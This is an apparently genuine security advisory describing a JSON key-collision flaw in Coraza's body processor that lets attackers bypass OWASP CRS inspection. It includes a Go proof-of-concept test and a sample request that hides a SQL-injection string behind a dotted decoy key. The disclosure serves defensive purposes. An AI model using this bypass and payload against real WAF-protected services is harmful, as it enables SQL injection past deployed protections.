Résumé

Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection

Détails de l’avis

Summary

Coraza's JSON body processor converts nested JSON properties into dot-separated ARGS_POST names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable

An unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:

{
  "account": {
    "role": "1' OR '1'='1"
  },
  "account.role": "safe"
}

Coraza stores both properties as ARGS_POST:json.account.role; the later value safe replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as account.role.

This bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule 949110. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.

Details

The affected component is the JSON body processor in internal/bodyprocessors/json.go.

readJSON creates a single map[string]string and begins every generated path with json:

func readJSON(s string, maxRecursion int) (map[string]string, error) {
    res := make(map[string]string)
    key := []byte("json")

    json := gjson.Parse(s)
    err := readItems(json, key, maxRecursion, res)
    // ...
}

Source: internal/bodyprocessors/json.go, lines 81-94.

For every object level, readItems appends a literal dot followed by the unescaped property name:

prevParentLength := len(objKey)
objKey = append(objKey, '.')
if key.Type == gjson.String {
    objKey = append(objKey, key.Str...)
}

Source: internal/bodyprocessors/json.go, lines 111-120.

Scalar values are stored in the map using the resulting flattened string:

res[string(objKey)] = val

Source: internal/bodyprocessors/json.go, lines 122-145.

This produces a collision:

Nested property:       {"account":{"role":"ATTACK"}}
Generated Coraza key:  json.account.role

Literal dotted key:    {"account.role":"SAFE"}
Generated Coraza key:  json.account.role

Because both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary ARGS_POST collection.

ProcessRequest subsequently copies only the final map entries into ARGS_POST:

data, err := readJSON(ss, bpo.RequestBodyRecursionLimit)
for key, value := range data {
    col.SetIndex(key, 0, value)
}

Source: internal/bodyprocessors/json.go, lines 29-39.

The JSON remains valid, so Coraza does not set REQBODY_ERROR. A normal backend parser does not flatten property names and therefore keeps the nested account.role value separate from the literal top-level "account.role" property.

Coraza's recommended configuration enables JSON processing, and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.

The bypass was reproduced against CRS v4.25 under all of the following configurations:

  • Default build
  • coraza.no_memoize
  • coraza.rule.multiphase_evaluation
  • coraza.rule.no_regex_multiline

PoC

The PoC uses Coraza's existing CRS regression module and its pinned github.com/corazawaf/coraza-coreruleset/v4 dependency. It proves three facts:

  1. CRS blocks the malicious nested value when no collision exists.

  2. The dotted decoy makes the same CRS configuration permit the request.

  3. Go's standard JSON parser still exposes the malicious nested value to the backend.

  4. Save the following file as testing/coreruleset/json_collision_security_test.go:

package coreruleset

import (
    "encoding/json"
    "os"
    "path/filepath"
    "strings"
    "testing"

    "github.com/corazawaf/coraza/v3"
    coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
)

func TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {
    recommended, err := os.ReadFile(
        filepath.Join("..", "..", "coraza.conf-recommended"),
    )
    if err != nil {
        t.Fatal(err)
    }

    cfg := coraza.NewWAFConfig().
        WithRootFS(coreruleset.FS).
        WithDirectives(string(recommended)).
        WithDirectives("SecRuleEngine On").
        WithDirectives("Include @crs-setup.conf.example").
        WithDirectives("Include @owasp_crs/*.conf")

    waf, err := coraza.NewWAF(cfg)
    if err != nil {
        t.Fatal(err)
    }

    tests := []struct {
        name      string
        body      string
        wantBlock bool
    }{
        {
            name:      "attack without collision is blocked",
            body:      `{"account":{"role":"1' OR '1'='1"}}`,
            wantBlock: true,
        },
        {
            name: "same attack with dotted decoy bypasses CRS",
            body: `{"account":{"role":"1' OR '1'='1"},` +
                `"account.role":"safe"}`,
            wantBlock: false,
        },
    }

    for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            // Prove what a normal backend sees before running Coraza.
            var backend struct {
                Account struct {
                    Role string `json:"role"`
                } `json:"account"`
            }
            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {
                t.Fatal(err)
            }
            if backend.Account.Role != "1' OR '1'='1" {
                t.Fatalf("backend lost attack value: %q", backend.Account.Role)
            }

            tx := waf.NewTransaction()
            defer tx.Close()

            tx.ProcessConnection("127.0.0.1", 12345, "127.0.0.1", 80)
            tx.ProcessURI("/", "POST", "HTTP/1.1")
            tx.AddRequestHeader("Host", "localhost")
            tx.AddRequestHeader("User-Agent", "security-test")
            tx.AddRequestHeader("Content-Type", "application/json")

            if interruption := tx.ProcessRequestHeaders(); interruption != nil {
                t.Fatalf("unexpected header interruption: %#v", interruption)
            }

            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))
            if err != nil || interruption != nil {
                t.Fatalf("body write: interruption=%#v error=%v", interruption, err)
            }

            interruption, err = tx.ProcessRequestBody()
            if err != nil {
                t.Fatal(err)
            }

            blocked := interruption != nil
            t.Logf("blocked=%v interruption=%#v", blocked, interruption)
            if blocked != tt.wantBlock {
                t.Fatalf("blocked=%v, want %v", blocked, tt.wantBlock)
            }
        })
    }
}
  1. Run the default-build test:
cd testing/coreruleset
go test -run TestJSONFlattenedKeyCollisionBypassesCRS -v
  1. Expected reproduction output:
=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS
=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked
    blocked=true interruption=&types.Interrupt

Références